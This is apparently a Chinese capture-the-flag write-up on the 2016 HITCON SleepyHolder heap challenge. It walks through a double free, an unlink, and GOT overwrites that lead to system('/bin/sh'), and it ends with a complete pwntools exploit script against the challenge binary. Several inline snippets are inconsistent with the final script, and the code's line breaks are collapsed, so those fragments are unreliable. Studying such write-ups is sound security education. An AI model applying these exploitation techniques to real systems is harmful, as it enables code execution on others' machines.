Double|2016 HITCON CTF SleepyHolder

2016 HITCON CTF SleepyHolder 序言

本来这周准备学习House_Of_Orange, 但是这个牵扯知识点太多. 忽然发现还有一个fastbin_dup_consolidate没有学习, 补一下.
程序运行(文章尾部有程序源码)
1. MENU
1. Keep secret 2. Wipe secret 3. Renew secret

2. Keep secret(New)
1. Small secret 2. Big secret 3. Keep a huge secret and lock it forever1 Tell me your secret: hello, world #另外两个选项类似, 只是分配的堆空间大小不同

3.Wipe secret(Delete)
Which Secret do you want to wipe? 1. Small secret 2. Big secret 1

4. Renew secret(Update)
Which Secret do you want to renew? 1. Small secret 2. Big secret 1 Tell me your secret: AAAA

程序分析
1. Keep Secret(New)
可以选择申请40, 4000, 40000三种不同大小的堆块. 当申请大小超过top chunk size, ptmalloc会整合一些fastbin中的free chunk并入top chunk, 如果还不够就mmap一块新的chunk,这个chunk与原有的top chunk之间采用单链表链接.
【Double|2016 HITCON CTF SleepyHolder】2. Wipe Secret(Delete)
free对应的指针, 标志位置0
3. Renew Secret(Update)
 不检查指针是否已释放, 造成Double Free
知识点
Double Free
Unlink
思路分析
总体思路: Double Freesmall secret, 在small secret 中构造fake chunk, 释放big secret, big secret会和fake chunk合并, 过程中我们用unlink来修改全局指针变量s_ptr. 通过将其修改为free@got, 修改free@gotput@plt, 泄露libc 地址, 再将其修改为system地址, free "/bin/sh"时就等于执行了system("/bin/sh")
步骤一: Double Free
add(1, 'aaa') #small secret add(2, 'bbb') #big secret delete(1)------------------ add(3, 'ccc') #huge secret|--------> Double Free delete(1)------------------

步骤二: Fake Chunk
f_ptr = 0x6020d0 fake_chunk = p64(0) + p64(0x21) fake_chunk += p64(f_ptr - 0x18) - p64(f_ptr - 0x10) fake_chunk += p64(0x20) add(1, fake_chunk) delete(2) #unlink

小结: Unlink栗子
步骤三: 泄露
content= p64(0) + p64(atoi_got) content += p64(puts_got) + p64(free_got) + p32(0x1)*2 update(1, content) #f_ptr = free_got update(1, p64(puts_plt)) #free_got = puts_plt delete(2) #puts(atoi) libc_base = u64(p.recvn(6).ljust(8, "\x00")) - atoi_offset system = libc_base + system_offset

步骤四: system(“/bin/sh”)
update(1, p64(system)) add(2, "/bin/sh\x00") delete(2) #system("/bin/sh")

踩过的坑
  1. 对于read函数, pwntools发送的时候最好不用sendline, 尽量使用发送足量的字符来结束输入. 就像本题, 如果将add, delete, update函数中p.send改成p.sendline, 那么会出错.
  2. 泄露libc base地址:
    1. 泄露libc中某一个函数的地址, 减去对应函数在libc中的偏移量就可以得到libc base
    2. free掉一个0x80或大于0x80chunk, 泄露出该地址, 减去0x3c4b78, 也是libc base(libc的基地址)
完整EXP
from pwn import *context.log_level = 'debug'p = process("./SleepyHolder") elf = ELF("./SleepyHolder") libc = ELF("./libc.so.6")def add(index, content): p.recvuntil("Renew secret\n") p.sendline("1") p.recvuntil("\n") p.sendline(str(index)) p.recvuntil("secret: \n") p.send(content)def delete(index): p.recvuntil("3. Renew secret\n") p.sendline("2") p.recvuntil("Big secret\n") p.send(str(index))def update(index, content): p.recvuntil("Renew secret\n") p.sendline("3") p.recvuntil("Big secret\n") p.sendline(str(index)) p.recvuntil("secret: \n") p.send(content)# Double Free add(1, 'aaa') add(2, 'bbb') delete(1) add(3, 'ccc') delete(1)#Fake Chunk f_ptr = 0x6020d0 s_ptr = 0x6020c0fake_chunk= p64(0) + p64(0x21) fake_chunk += p64(0x6020d0-0x18) + p64(0x6020d0-0x10) fake_chunk += p64(0x20) add(1, fake_chunk) delete(2)#gdb.attach(p) #leak libc base free_got = elf.got['free'] atoi_got = elf.got['atoi'] puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] system_offset = libc.symbols['system'] atoi_offset = libc.symbols['atoi']#gdb.attach(p) content = p64(0) + p64(atoi_got) content += p64(puts_got) + p64(free_got) + p32(0x1)*3 update(1, content) update(1, p64(puts_plt)) #updatedelete(2) libc_base = u64(p.recvn(6).ljust(8, "\x00")) - atoi_offset system = libc_base + system_offsetupdate(1, p64(system)) add(2, "/bin/sh\x00") delete(2) p.interactive()

相关链接
Isaac
0x9A82
相关文件下载

    推荐阅读